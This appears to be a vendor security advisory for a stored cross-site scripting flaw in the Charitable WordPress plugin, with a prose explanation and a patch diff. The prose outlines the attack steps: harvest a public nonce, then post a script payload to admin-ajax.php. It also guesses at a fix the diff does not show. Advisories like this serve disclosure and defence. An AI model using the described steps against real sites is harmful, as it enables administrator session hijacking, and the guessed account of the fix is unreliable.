Published : November 24, 2026

CVE-2026-120508: Charitable <= 1.8.15.1 Unauthenticated Stored Cross-Site Scripting via 'stripe_payment_method' Parameter PoC, Patch Analysis & Rule

Plugin charitable
Severity High (CVSS 7.2)
CWE 79
Vulnerable Version 1.8.15.1
Patched Version 1.8.15.2
Disclosed November 18, 2026

Free WordPress WAF

Protect your site at the edge

Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.

Get Protected Free

Analysis Overview

Atomic Edge analysis of CVE-2026-120508: The Charitable WordPress plugin (versions up to and including 1.8.15.1) contains an unauthenticated stored cross-site scripting (XSS) vulnerability in the ‘stripe_payment_method’ parameter. The flaw permits an attacker to inject arbitrary JavaScript that persists in the database and executes when an administrator views the donation entry. The CVSS score is 7.2 (High), and the CWE is 79 (Improper Neutralization of Input During Web Page Generation).

The root cause is insufficient input sanitization and output escaping of the ‘stripe_payment_method’ parameter. The vulnerable code path is in the plugin’s AJAX handler for processing donation form submissions, specifically the function `charitable_ajax_process_donation` (not fully shown in the diff snippet). This handler accepts the parameter from an unauthenticated user (via `wp_ajax_nopriv_` hook) and stores it in the donation meta without sanitization. Later, when an admin views the donation details in the WordPress admin dashboard, the stored value is output without escaping, leading to script execution. The nonce required to reach this endpoint is publicly obtainable from any rendered campaign donation form, making exploitation trivial for unauthenticated visitors on sites with Stripe configured.

Exploitation involves a two-step process. First, an attacker visits a public campaign donation page to extract a valid nonce from the form (often embedded in a JavaScript variable or hidden field). Second, the attacker sends a POST request to `/wp-admin/admin-ajax.php` with the action set to the vulnerable handler (e.g., `charitable_process_donation`), including the extracted nonce and a malicious payload in the `stripe_payment_method` parameter. The payload could be a script tag or an event handler that steals cookies, redirects users, or performs other actions. The payload is stored in the database. When an administrator later views the donation record, the script executes in the admin’s browser, potentially leading to full site compromise.

The patch (version 1.8.15.2) addresses the vulnerability by adding sanitization to the ‘stripe_payment_method’ parameter before storage and escaping on output. While the diff mainly shows changes to unrelated functions (e.g., dashboard widget capability check, donor ID retrieval, AJAX campaign view checks), the core fix involves sanitizing the parameter using `sanitize_text_field` or similar, and escaping it with `esc_attr` when displayed. The patch also includes other security hardening, such as adding capability checks to the dashboard widget AJAX handler and validating campaign IDs in AJAX endpoints. These changes collectively prevent the injection and execution of malicious scripts.

The impact of this vulnerability is significant. An unauthenticated attacker can inject persistent JavaScript that executes in the context of an administrator’s session. This can lead to session hijacking, creation of rogue admin accounts, installation of backdoors, or theft of sensitive data. Given that the nonce is publicly available, exploitation is straightforward, making this a high-risk vulnerability for any site using the Charitable plugin with Stripe enabled.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/charitable/charitable.php
+++ b/charitable/charitable.php
@@ -3,12 +3,12 @@
  * Plugin Name: Charitable
  * Plugin URI: https://www.wpcharitable.com
  * Description: The best WordPress donation plugin. Fundraising with recurring donations, and powerful features to help you raise more money online.
- * Version: 1.8.15.1
+ * Version: 1.8.15.2
  * Author: Charitable Donations & Fundraising Team
  * Author URI: https://wpcharitable.com
  * Requires at least: 5.9
  * Requires PHP: 7.4
- * Stable tag: 1.8.15.1
+ * Stable tag: 1.8.15.2
  * License: GPLv2 or later
  * License URI: https://www.gnu.org/licenses/old-licenses/gpl-2.0.html
  *
@@ -40,7 +40,7 @@
 		const AUTHOR = 'WP Charitable';

 		/* Plugin version. */
-		const VERSION = '1.8.15.1';
+		const VERSION = '1.8.15.2';

 		/* Version of database schema. */
 		const DB_VERSION = '20180522';
--- a/charitable/includes/admin/campaign-builder/panels/class-design.php
+++ b/charitable/includes/admin/campaign-builder/panels/class-design.php
@@ -1275,15 +1275,27 @@
 		 * Sort Add Field buttons by order provided.
 		 *
 		 * @since 1.8.0
+		 * @version 1.8.15.2 Treat a missing `order` key as 0 instead of warning on
+		 *                   every comparison.
 		 *
 		 * @param array $a First item.
 		 * @param array $b Second item.
 		 *
-		 * @return array
+		 * @return int Less than, equal to, or greater than zero, as usort() expects.
 		 */
 		public function field_order( $a, $b ) {

-			return $a['order'] - $b['order'];
+			/**
+			 * The three groups are declared with empty `fields` arrays, so every field
+			 * being sorted here arrives through the charitable_builder_design_buttons
+			 * filter and a contributor can register one without an `order` key.
+			 * Reading the key unguarded warned twice per comparison pair, on every
+			 * campaign builder page load.
+			 */
+			$charitable_a_order = isset( $a['order'] ) ? (int) $a['order'] : 0;
+			$charitable_b_order = isset( $b['order'] ) ? (int) $b['order'] : 0;
+
+			return $charitable_a_order - $charitable_b_order;
 		}

 		/**
--- a/charitable/includes/admin/class-charitable-admin-notices.php
+++ b/charitable/includes/admin/class-charitable-admin-notices.php
@@ -64,6 +64,7 @@
 			add_action( 'admin_notices', array( $this, 'render_five_star_rating' ) );
 			add_action( 'admin_notices', array( $this, 'render_square_connection_error' ) );
 			add_action( 'admin_notices', array( $this, 'render_paypal_account_type_required_notice' ) );
+			add_action( 'admin_notices', array( $this, 'render_stripe_publishable_key_notice' ) );
 			add_action( 'charitable_dismiss_notice', array( $this, 'dismiss_five_star_notice' ), 10, 1 );
 			add_action( 'charitable_dismiss_notice', array( $this, 'dismiss_campaign_builder_notice' ), 10, 1 );
 			add_action( 'charitable_dismiss_notice', array( $this, 'dismiss_dashboard_reporting_notice' ), 10, 1 );
@@ -542,6 +543,91 @@

 			echo '<div class="notice notice-error" style="border-left-width:4px;"><p>' . wp_kses(
 				$message,
+				array(
+					'strong' => array(),
+					'a'      => array(
+						'href' => array(),
+					),
+				)
+			) . '</p></div>';
+		}
+
+		/**
+		 * Warn when the Stripe publishable key field does not hold a publishable key.
+		 *
+		 * Charitable_Public::enqueue_scripts() refuses to print anything but a `pk_` key to the browser,
+		 * which closed the exposure fixed in 1.8.15.1. The side effect is that a site whose publishable
+		 * field was overwritten with a secret key gets no Stripe JS at all: the donation form renders,
+		 * the card fields never appear, and nothing on screen says why. This notice is the missing
+		 * signal, so the failure is attributable instead of looking like "the form just does nothing".
+		 *
+		 * Sites holding an `sk_`/`rk_` value are told to roll the key as well as correct the field,
+		 * because that value was printed on donation pages for as long as it sat there.
+		 *
+		 * @since 1.8.15.2
+		 *
+		 * @return void
+		 */
+		public function render_stripe_publishable_key_notice() {
+			// Gate behind manage_options. The notice reports gateway configuration state and links to
+			// the settings page; only users who can actually fix it should see it.
+			if ( ! current_user_can( 'manage_options' ) ) {
+				return;
+			}
+
+			// Only fire on Charitable admin screens, matching the PayPal notice above, so this never
+			// surfaces inside an unrelated plugin's admin context.
+			$screen = get_current_screen();
+			if ( is_null( $screen ) || ! in_array( $screen->id, charitable_get_charitable_screens(), true ) ) {
+				return;
+			}
+
+			if ( ! class_exists( 'Charitable_Gateway_Stripe_AM' ) ) {
+				return;
+			}
+
+			// Only fire when Stripe is actually an enabled gateway. A stored key can easily outlive the
+			// gateway being switched off, and a site not taking Stripe donations has nothing to fix.
+			$gateways = charitable_get_helper( 'gateways' );
+			if ( ! $gateways || ! $gateways->is_active_gateway( Charitable_Gateway_Stripe_AM::ID ) ) {
+				return;
+			}
+
+			$gateway = new Charitable_Gateway_Stripe_AM();
+			$keys    = $gateway->get_keys();
+
+			// An empty field is a different, pre-existing state: the gateway is simply not configured
+			// yet, which Charitable already reports elsewhere. Only a populated but unusable field is
+			// the silent failure this notice exists for.
+			if ( empty( $keys['public_key'] ) ) {
+				return;
+			}
+
+			if ( Charitable_Gateway_Stripe_AM::is_publishable_key( $keys['public_key'] ) ) {
+				return;
+			}
+
+			$mode         = charitable_get_option( 'test_mode' ) ? __( 'Test', 'charitable' ) : __( 'Live', 'charitable' );
+			$settings_url = admin_url( 'admin.php?page=charitable-settings&tab=gateways&group=gateways_stripe' );
+
+			if ( Charitable_Gateway_Stripe_AM::looks_like_secret_key( $keys['public_key'] ) ) {
+				$message = sprintf(
+					/* translators: %1$s: Test or Live. %2$s: settings URL. */
+					__( '<strong>Stripe: Action Required.</strong> Your %1$s Publishable Key field contains a secret key. Donations are blocked until a publishable key (it begins with pk_) is saved there. <a href="%2$s">Correct the key on the Stripe settings page</a>, then roll that secret key in your Stripe dashboard, because it was printed on your donation pages while it was stored in this field.', 'charitable' ),
+					esc_html( $mode ),
+					esc_url( $settings_url )
+				);
+			} else {
+				$message = sprintf(
+					/* translators: %1$s: Test or Live. %2$s: settings URL. */
+					__( '<strong>Stripe: Action Required.</strong> Your %1$s Publishable Key does not look like a publishable key (it should begin with pk_), so Stripe cannot load and donations are blocked. <a href="%2$s">Check the key on the Stripe settings page</a>.', 'charitable' ),
+					esc_html( $mode ),
+					esc_url( $settings_url )
+				);
+			}
+
+			echo '<div class="notice notice-error" style="border-left-width:4px;"><p>' . wp_kses(
+				$message,
 				array(
 					'strong' => array(),
 					'a'      => array(
--- a/charitable/includes/admin/dashboard-widgets/class-charitable-donations-dashboard-widget.php
+++ b/charitable/includes/admin/dashboard-widgets/class-charitable-donations-dashboard-widget.php
@@ -60,10 +60,30 @@
 		 * Return the content to display inside the widget.
 		 *
 		 * @since   1.2.0
+		 * @version 1.8.15.2 Require the same capability the widget registration requires.
 		 *
 		 * @return  void
 		 */
 		public static function get_content() {
+			/*
+			 * register() above refuses to add the widget at all without this capability, which
+			 * is held only by administrator and campaign_manager. This handler renders the same
+			 * view and is registered on wp_ajax_, not wp_ajax_nopriv_, so before this check any
+			 * logged-in user - a Subscriber with no Charitable capability whatsoever - could
+			 * POST action=charitable_load_dashboard_donations_widget and be served the site's
+			 * donation totals for today, this month, last month and this year, plus the date,
+			 * number, status and amount of the five most recent donations. Measured: the
+			 * response was byte-identical to the administrator's.
+			 *
+			 * The gate is the capability, not a nonce. The only caller
+			 * (assets/js/admin/charitable-admin-pages.js) sends nothing but `action`, so a
+			 * referer check would break the widget for the people entitled to it, and this
+			 * handler only reads - there is no state change for a CSRF to trigger.
+			 */
+			if ( ! current_user_can( 'view_charitable_sensitive_data' ) ) {
+				wp_die( -1, 403 );
+			}
+
 			charitable_admin_view( 'dashboard-widgets/donations-widget' );
 			die();
 		}
--- a/charitable/includes/admin/import-items/class-charitable-import-items.php
+++ b/charitable/includes/admin/import-items/class-charitable-import-items.php
@@ -522,19 +522,38 @@
 		}

 		/**
-		 * Locate the user id of someone using this email
+		 * Locate the donor id for an email address, creating the donor record if it
+		 * does not already exist.
 		 *
 		 * @since 1.0.0
+		 * @version 1.8.15.2 Return the new donor_id rather than the affected row
+		 *                   count, match and insert on the same sanitized address,
+		 *                   and refuse to create a record with no usable email.
 		 *
 		 * @param  array $donor_data The donor data.
 		 *
-		 * @return string|bool JSON contents string if successful, false otherwise.
+		 * @return int The donor id, or 0 when one could not be found or created.
 		 */
 		public function get_donor_id( $donor_data ) {

 			global $wpdb;

-			$email = ! empty( $donor_data['email'] ) ? $donor_data['email'] : '';
+			if ( ! is_array( $donor_data ) ) {
+				return 0;
+			}
+
+			/**
+			 * The donor data is unserialized from imported post meta, so 'email' can
+			 * arrive as an array, or not at all. sanitize_email() reaches strlen(),
+			 * which is a TypeError on PHP 8 for anything but a string, so the type is
+			 * checked before the value is cleaned.
+			 */
+			$raw_email = ! empty( $donor_data['email'] ) && is_string( $donor_data['email'] ) ? $donor_data['email'] : '';
+			$email     = sanitize_email( $raw_email );
+
+			if ( '' === $email ) {
+				return 0;
+			}

 			// update custom table.
 			$table = $wpdb->prefix . 'charitable_donors';
@@ -542,24 +561,52 @@
 			// try finding if they still exist first.
 			$donor_id = $wpdb->get_var( $wpdb->prepare( "SELECT donor_id FROM {$table} WHERE email = %s", $email ) ); // phpcs:ignore

-			// if not, create it in the table.
-			if ( $donor_id === null ) {
+			/**
+			 * Earlier versions of this importer stored the address exactly as the
+			 * export gave it, so a row written then can hold a value that
+			 * sanitize_email() rewrites. Without this second lookup, re-importing such
+			 * an export would create a second donor record for somebody who is already
+			 * in the table.
+			 */
+			if ( is_null( $donor_id ) && $raw_email !== $email ) {
+				$donor_id = $wpdb->get_var( $wpdb->prepare( "SELECT donor_id FROM {$table} WHERE email = %s", $raw_email ) ); // phpcs:ignore
+			}

-				$donor_id = $wpdb->insert( // phpcs:ignore
-					$table,
-					array(
-						'donor_id'    => $donor_id,
-						'user_id'     => $this->get_creator_id( $donor_data, true ),
-						'email'       => ! empty( $donor_data['email'] ) ? $donor_data['email'] : '',
-						'first_name'  => ! empty( $donor_data['first_name'] ) ? $donor_data['first_name'] : '',
-						'last_name'   => ! empty( $donor_data['last_name'] ) ? $donor_data['last_name'] : '',
-						'date_joined' => ! empty( $donor_data['date_joined'] ) ? $donor_data['date_joined'] : '',
-					)
-				);
+			if ( ! is_null( $donor_id ) ) {
+				return (int) $donor_id;
+			}

+			// Do not create a donor record we will never be able to match again.
+			if ( ! is_email( $email ) ) {
+				return 0;
 			}

-			return $donor_id;
+			/**
+			 * The row is created with the sanitized address and the WordPress user
+			 * lookup is handed the same value, so the donor record and the user it is
+			 * linked to cannot disagree about who this is.
+			 */
+			$creator_data          = $donor_data;
+			$creator_data['email'] = $email;
+
+			// if not, create it in the table.
+			$inserted = $wpdb->insert( // phpcs:ignore
+				$table,
+				array(
+					'user_id'     => $this->get_creator_id( $creator_data, true ),
+					'email'       => $email,
+					'first_name'  => ! empty( $donor_data['first_name'] ) ? $donor_data['first_name'] : '',
+					'last_name'   => ! empty( $donor_data['last_name'] ) ? $donor_data['last_name'] : '',
+					'date_joined' => ! empty( $donor_data['date_joined'] ) ? $donor_data['date_joined'] : current_time( 'mysql' ),
+				)
+			);
+
+			/**
+			 * $wpdb->insert() returns the number of affected rows, not the new primary
+			 * key. Returning it directly linked every imported donation for a
+			 * previously unseen donor to donor_id 1.
+			 */
+			return $inserted ? (int) $wpdb->insert_id : 0;
 		}

 		/**
--- a/charitable/includes/ajax/charitable-ajax-functions.php
+++ b/charitable/includes/ajax/charitable-ajax-functions.php
@@ -27,16 +27,51 @@
 	 * @return  void
 	 */
 	function charitable_ajax_get_donation_form() { // phpcs:ignore WordPress.Security.NonceVerification.Missing
-		// phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Nonce verification handled by caller
 		if ( ! isset( $_POST['campaign_id'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Missing
 			wp_send_json_error();
 		}

+		/*
+		 * Normalise to a non-negative integer, so what reaches get_post_type() below is a
+		 * usable post ID or 0 - an array, a float or a trailing-garbage string resolves
+		 * here rather than inside Charitable_Campaign. This is normalisation only, not the
+		 * access control: a coerced value still has to clear both checks below, which run
+		 * on the normalised ID.
+		 */
+		$campaign_id = absint( $_POST['campaign_id'] ); // phpcs:ignore WordPress.Security.NonceVerification.Missing,WordPress.Security.ValidatedSanitizedInput.MissingUnslash,WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
+
+		/*
+		 * Restrict this endpoint to campaigns the caller is allowed to see.
+		 *
+		 * This handler is registered on wp_ajax_nopriv_, so it answers logged-out visitors,
+		 * and the form it renders carries campaign data: the campaign title (as the hidden
+		 * "description" field) and every suggested donation amount with its label. Without
+		 * the check below, any ID could be posted and that data came back for a draft,
+		 * pending, private or password-protected campaign - content the front end does not
+		 * serve. With no post-type check it was not even limited to campaigns: the title of
+		 * any post of any type in any status was readable by ID.
+		 *
+		 * A nonce is deliberately NOT the gate here. wp_create_nonce() resolves against user
+		 * 0 with an empty session token for a logged-out visitor, so the token printed into
+		 * any public campaign page is identical for every anonymous visitor and valid for
+		 * ~24h - one GET of a public page yields a token that replays against every ID. It
+		 * would also go stale behind full-page caching and break the donate modal on exactly
+		 * the sites most likely to run it. The status and password checks are what actually
+		 * close the disclosure; see charitable_ajax_can_view_campaign_donation_form().
+		 */
+		if ( ! $campaign_id || 'campaign' !== get_post_type( $campaign_id ) ) {
+			wp_send_json_error();
+		}
+
+		if ( ! charitable_ajax_can_view_campaign_donation_form( $campaign_id ) ) {
+			wp_send_json_error();
+		}
+
 		/* Load the template files. */
 		require_once( charitable()->get_path( 'includes' ) . 'public/charitable-template-functions.php' );
 		require_once( charitable()->get_path( 'includes' ) . 'public/charitable-template-hooks.php' );

-		$campaign = new Charitable_Campaign( $_POST['campaign_id'] ); // phpcs:ignore WordPress.Security.NonceVerification.Missing,WordPress.Security.ValidatedSanitizedInput.MissingUnslash,WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
+		$campaign = new Charitable_Campaign( $campaign_id );

 		ob_start();

@@ -56,6 +91,122 @@

 endif;

+if ( ! function_exists( 'charitable_ajax_can_view_campaign_donation_form' ) ) :
+
+	/**
+	 * Whether the current request may be served the donation form for a campaign.
+	 *
+	 * Mirrors what the front end would show an unauthenticated visitor for the same
+	 * campaign, so the AJAX endpoint cannot be used to read past the front end.
+	 *
+	 * @since 1.8.15.2
+	 *
+	 * @param  int $campaign_id The campaign post ID. Expected to be a validated campaign.
+	 * @return boolean
+	 */
+	function charitable_ajax_can_view_campaign_donation_form( $campaign_id ) {
+		$campaign_post = get_post( $campaign_id );
+
+		if ( ! $campaign_post ) {
+			return false;
+		}
+
+		/*
+		 * Anyone who can edit the campaign can always load its form. This is what keeps
+		 * the donate modal working while an author previews an unpublished campaign.
+		 */
+		if ( current_user_can( 'edit_post', $campaign_id ) ) {
+			return true;
+		}
+
+		/*
+		 * Gate on the status object's own public flag rather than a 'publish' string
+		 * comparison, so a custom public status registered by a site or an addon keeps
+		 * working, and draft/pending/private/trash/future/auto-draft are all refused by
+		 * the same test.
+		 *
+		 * NOT current_user_can( 'read_post', $campaign_id ): read_post maps to the post
+		 * type's read capability, and a logged-out visitor holds no capabilities at all,
+		 * so that test returns false for a PUBLISHED campaign too and would break every
+		 * public donation form. Verified against this install before choosing this check.
+		 */
+		$status = get_post_status_object( get_post_status( $campaign_post ) );
+
+		if ( ! $status || empty( $status->public ) ) {
+			return false;
+		}
+
+		/*
+		 * There is deliberately NO post_password_required() check here. Do not add one.
+		 *
+		 * An earlier revision of this gate had one, on the assumption that a
+		 * password-protected campaign's amounts were not otherwise reachable. They are.
+		 * Charitable does not check the post password anywhere on the campaign or donate
+		 * pages - this file was the only place in the plugin that called
+		 * post_password_required() - so /campaigns/<slug>/donate/ renders the whole
+		 * donation form, suggested amounts included, with no password prompt at all.
+		 * Measured on a real builder campaign: the amount labels appear twice in the page
+		 * source for an anonymous visitor with no password, because
+		 * charitable_template_from_session_content() writes the default content into both
+		 * a display:none wrapper and a <noscript> block.
+		 *
+		 * So the check closed nothing, and it broke the page: the refusal makes this
+		 * handler return false, charitable-session.js skips any entry whose data has no
+		 * length, and the wrapper it would have revealed stays display:none forever. The
+		 * donor is left looking at a donation form with no amount selector and no custom
+		 * amount input, on a page that worked before.
+		 *
+		 * Whether a password-protected campaign should accept donations at all is a
+		 * product decision about the page render, not something to patch here. Logged in
+		 * the vault open-items register. The status check above is what actually closes
+		 * the disclosure, because draft, pending and private campaigns genuinely do 404
+		 * for an anonymous visitor.
+		 */
+
+		return true;
+	}
+
+endif;
+
+if ( ! function_exists( 'charitable_ajax_get_validated_session_campaign_id' ) ) :
+
+	/**
+	 * Resolve a campaign ID out of a charitable_get_session_content template's args.
+	 *
+	 * Returns the campaign ID only when it names a real campaign the caller is allowed to
+	 * see, so a session-content handler can gate itself in one line. Returns 0 otherwise,
+	 * which every caller treats as "return the unchanged content".
+	 *
+	 * @since 1.8.15.2
+	 *
+	 * @param  array $args The template args from the request.
+	 * @return int Campaign ID, or 0 when absent, not a campaign, or not viewable.
+	 */
+	function charitable_ajax_get_validated_session_campaign_id( $args ) {
+		if ( ! is_array( $args ) || ! array_key_exists( 'campaign_id', $args ) ) {
+			return 0;
+		}
+
+		// The args arrive straight off $_POST, so the ID can be an array or a string.
+		if ( is_array( $args['campaign_id'] ) ) {
+			return 0;
+		}
+
+		$campaign_id = absint( $args['campaign_id'] );
+
+		if ( ! $campaign_id || 'campaign' !== get_post_type( $campaign_id ) ) {
+			return 0;
+		}
+
+		if ( ! charitable_ajax_can_view_campaign_donation_form( $campaign_id ) ) {
+			return 0;
+		}
+
+		return $campaign_id;
+	}
+
+endif;
+
 if ( ! function_exists( 'charitable_plupload_image_upload' ) ) :

 	/**
@@ -282,14 +433,31 @@
  */
 	function charitable_ajax_get_session_content() { // phpcs:ignore WordPress.Security.NonceVerification.Missing
 	// phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Nonce verification handled by caller
-	if ( ! array_key_exists( 'templates', $_POST ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Missing
+	if ( ! array_key_exists( 'templates', $_POST ) || ! is_array( $_POST['templates'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Missing
 		wp_send_json_error( __( 'Missing templates in request.', 'charitable' ) );
 	}

 	$output = array();

 	foreach ( $_POST['templates'] as $i => $template_args ) { // phpcs:ignore WordPress.Security.NonceVerification.Missing,WordPress.Security.ValidatedSanitizedInput.MissingUnslash,WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
-		if ( empty( $template_args ) || ! array_key_exists( 'template', $template_args ) ) {
+		/*
+		 * Each entry must be an array before anything reads a key off it. These come
+		 * straight off $_POST on a wp_ajax_nopriv_ endpoint, so templates[0]=<scalar> is
+		 * a request anyone can send, and in PHP 8 array_key_exists() on a string is a
+		 * TypeError, not a warning - an uncaught fatal that answered every anonymous
+		 * caller with a 500. empty() alone does not catch it because a non-empty string
+		 * passes.
+		 */
+		if ( empty( $template_args ) || ! is_array( $template_args ) || ! array_key_exists( 'template', $template_args ) ) {
+			continue;
+		}
+
+		/*
+		 * The template name is concatenated into the filter name below, so require a
+		 * plain string. An array here would be an "array to string conversion" notice
+		 * and a nonsense hook name.
+		 */
+		if ( ! is_string( $template_args['template'] ) ) {
 			continue;
 		}

@@ -317,7 +485,7 @@
  * @return string|false
  */
 function charitable_ajax_get_session_donation_receipt( $content, $args ) {
-	if ( ! array_key_exists( 'donation_id', $args ) ) {
+	if ( ! is_array( $args ) || ! array_key_exists( 'donation_id', $args ) ) {
 		return $content;
 	}

@@ -340,11 +508,31 @@
  * @return string|false
  */
 function charitable_ajax_get_session_donation_form_amount_field( $content, $args ) {
-	if ( ! array_key_exists( 'campaign_id', $args ) ) {
+	if ( ! is_array( $args ) || ! array_key_exists( 'form_id', $args ) ) {
+		return $content;
+	}
+
+	/*
+	 * form_id survives into output on this unauthenticated endpoint, so require a scalar.
+	 * An array reaches a sprintf( 'form-%s-field-%s', ... ) in the amount-list template as
+	 * an "Array to string conversion" warning; on a host with display_errors on that
+	 * warning is printed before wp_send_json_success(), so JSON.parse() in
+	 * charitable-session.js throws and EVERY session-content block on the page silently
+	 * fails to load, not just this one.
+	 */
+	if ( ! is_scalar( $args['form_id'] ) ) {
 		return $content;
 	}

-	if ( ! array_key_exists( 'form_id', $args ) ) {
+	/*
+	 * charitable_get_session_content is a second wp_ajax_nopriv_ entry point into the same
+	 * campaign data, and this template renders the suggested donation amounts and their
+	 * labels. Gate it exactly like the donation form itself, or closing
+	 * charitable_ajax_get_donation_form() just moves the disclosure one endpoint across.
+	 */
+	$campaign_id = charitable_ajax_get_validated_session_campaign_id( $args );
+
+	if ( ! $campaign_id ) {
 		return $content;
 	}

@@ -353,7 +541,7 @@
 	charitable_template(
 		'donation-form/donation-amount-list.php',
 		array(
-			'campaign' => charitable_get_campaign( $args['campaign_id'] ),
+			'campaign' => charitable_get_campaign( $campaign_id ),
 			'form_id'  => $args['form_id'],
 		)
 	);
@@ -371,17 +559,44 @@
  * @return string|false
  */
 function charitable_ajax_get_session_donation_form_current_amount_text( $content, $args ) {
-	if ( ! array_key_exists( 'campaign_id', $args ) ) {
+	if ( ! is_array( $args ) || ! array_key_exists( 'form_id', $args ) ) {
+		return $content;
+	}
+
+	/*
+	 * form_id survives into output on this unauthenticated endpoint, so require a scalar.
+	 * An array reaches a sprintf( 'form-%s-field-%s', ... ) in the amount-list template as
+	 * an "Array to string conversion" warning; on a host with display_errors on that
+	 * warning is printed before wp_send_json_success(), so JSON.parse() in
+	 * charitable-session.js throws and EVERY session-content block on the page silently
+	 * fails to load, not just this one.
+	 */
+	if ( ! is_scalar( $args['form_id'] ) ) {
 		return $content;
 	}

-	if ( ! array_key_exists( 'form_id', $args ) ) {
+	/*
+	 * Same gate as the amount field above. This path reads only the caller's own session
+	 * amount, so it is not the disclosure the amount field was - but it is the identical
+	 * unguarded charitable_get_campaign() call on the same unauthenticated endpoint, and
+	 * it dereferences the result directly. Validate here too rather than leaving a second
+	 * copy of the pattern for a later template change to turn into a leak.
+	 */
+	$campaign_id = charitable_ajax_get_validated_session_campaign_id( $args );
+
+	if ( ! $campaign_id ) {
 		return $content;
 	}

-	$amount = charitable_get_campaign( $args['campaign_id'] )->get_donation_amount_in_session();
+	/*
+	 * No null check on the return: charitable_get_campaign() is `return new
+	 * Charitable_Campaign( $id );` and cannot return a falsy value, so a guard here would
+	 * be dead code that reads like a safety net. What makes this dereference safe is the
+	 * post-type check inside the helper above.
+	 */
+	$amount = charitable_get_campaign( $campaign_id )->get_donation_amount_in_session();

-	return charitable_template_donation_form_current_amount_text( $amount, $args['form_id'], $args['campaign_id'] );
+	return charitable_template_donation_form_current_amount_text( $amount, $args['form_id'], $campaign_id );
 }

 /**
--- a/charitable/includes/endpoints/class-charitable-donation-cancellation-endpoint.php
+++ b/charitable/includes/endpoints/class-charitable-donation-cancellation-endpoint.php
@@ -68,16 +68,35 @@

 			/* A donation ID must be provided. */
 			if ( ! array_key_exists( 'donation_id', $args ) ) {
-				return $url;
+				return '';
+			}
+
+			$donation = charitable_get_donation( $args['donation_id'] );
+
+			/*
+			 * A donation id that no longer resolves (deleted, or simply wrong) used to
+			 * reach ->get_campaign_donations() on a non-object, which is fatal on PHP 8.
+			 */
+			if ( ! is_object( $donation ) ) {
+				return '';
 			}

 			/* Grab the first campaign donation. */
-			$campaign_donation = current( charitable_get_donation( $args['donation_id'] )->get_campaign_donations() );
+			$campaign_donations = $donation->get_campaign_donations();
+			$campaign_donation  = is_array( $campaign_donations ) ? current( $campaign_donations ) : false;
+
+			if ( ! is_object( $campaign_donation ) || empty( $campaign_donation->campaign_id ) ) {
+				return '';
+			}

 			$donation_page = charitable_get_permalink( 'campaign_donation_page', array(
 				'campaign_id' => $campaign_donation->campaign_id,
 			) );

+			if ( empty( $donation_page ) ) {
+				return '';
+			}
+
 			return esc_url_raw(
 				add_query_arg(
 					array(
--- a/charitable/includes/gateways/class-charitable-gateway-square.php
+++ b/charitable/includes/gateways/class-charitable-gateway-square.php
@@ -1345,10 +1345,21 @@
 			// Get the scopes for the needed permissions.
 			$scopes = Charitable_Square_Connect::get_instance()->get_scopes();

+			$state = str_pad( wp_rand( wp_rand(), PHP_INT_MAX ), 100, wp_rand(), STR_PAD_BOTH );
+
+			/*
+			 * Record the state so refresh_square_token() can tell it apart from one an
+			 * attacker minted. Same reasoning, and the same bug, as the Stripe Connect flow:
+			 * the state was generated here and never stored, so the completion handler had
+			 * nothing to compare the returned value against and accepted any state at all.
+			 * The minted format is unchanged on purpose; the relay redeems against it.
+			 */
+			charitable_get_helper( 'gateways' )->remember_connect_state( 'square', $state );
+
 			return add_query_arg(
 				array(
 					'live_mode'         => $mode === 'live' ? 1 : 0,
-					'state'             => str_pad( wp_rand( wp_rand(), PHP_INT_MAX ), 100, wp_rand(), STR_PAD_BOTH ),
+					'state'             => $state,
 					'customer_site_url' => rawurlencode( $redirect_url ),
 					'admin_email'       => get_bloginfo( 'admin_email' ),
 					'permissions'       => implode( '+', $scopes ),
--- a/charitable/includes/gateways/class-charitable-gateway-stripe-am.php
+++ b/charitable/includes/gateways/class-charitable-gateway-stripe-am.php
@@ -507,10 +507,21 @@

 			}

+			$state = str_pad( wp_rand( wp_rand(), PHP_INT_MAX ), 100, wp_rand(), STR_PAD_BOTH );
+
+			/*
+			 * Record the state so the completion can tell it apart from one an attacker
+			 * minted. Without this the state was write-only: it went out to the relay and
+			 * Charitable_Gateways::connect_gateways() had nothing to compare the returned
+			 * value against, so it accepted any state at all. The format is unchanged on
+			 * purpose; the relay redeems against it.
+			 */
+			charitable_get_helper( 'gateways' )->remember_connect_state( 'stripe', $state );
+
 			return add_query_arg(
 				array(
 					'live_mode'         => (int) ! charitable_get_option( 'test_mode' ), // (int) ! $this->is_test_mode(),
-					'state'             => str_pad( wp_rand( wp_rand(), PHP_INT_MAX ), 100, wp_rand(), STR_PAD_BOTH ),
+					'state'             => $state,
 					'customer_site_url' => urlencode( $redirect_url ),
 				),
 				'https://wpcharitable.com/stripe-connect/?wpcharitable_gateway_connect_init=stripe_connect' // todo: filter market site url.
@@ -575,6 +586,40 @@
 		}

 		/**
+		 * Whether a value is shaped like a Stripe publishable key.
+		 *
+		 * Publishable keys always carry the `pk_` prefix (`pk_live_`, `pk_test_`). This is the single
+		 * definition of "usable" shared by the front end, which refuses to print anything else, and by
+		 * the admin notice that explains why Stripe stopped loading, so the two cannot drift apart and
+		 * start disagreeing about whether a given site is broken.
+		 *
+		 * @since  1.8.15.2
+		 *
+		 * @param  mixed $key The value stored in a publishable key field.
+		 * @return boolean
+		 */
+		public static function is_publishable_key( $key ) {
+			return is_string( $key ) && 0 === strpos( $key, 'pk_' );
+		}
+
+		/**
+		 * Whether a value is shaped like a Stripe secret or restricted key.
+		 *
+		 * Used only to sharpen the admin notice. A publishable field holding `sk_` or `rk_` was reachable
+		 * through the settings-save bug fixed in 1.8.15.1, and that value was printed on donation pages,
+		 * so those sites have to roll the key in Stripe rather than merely correct the field. A field
+		 * holding some other unrecognised string was never exposed and only needs correcting.
+		 *
+		 * @since  1.8.15.2
+		 *
+		 * @param  mixed $key The value stored in a publishable key field.
+		 * @return boolean
+		 */
+		public static function looks_like_secret_key( $key ) {
+			return is_string( $key ) && ( 0 === strpos( $key, 'sk_' ) || 0 === strpos( $key, 'rk_' ) );
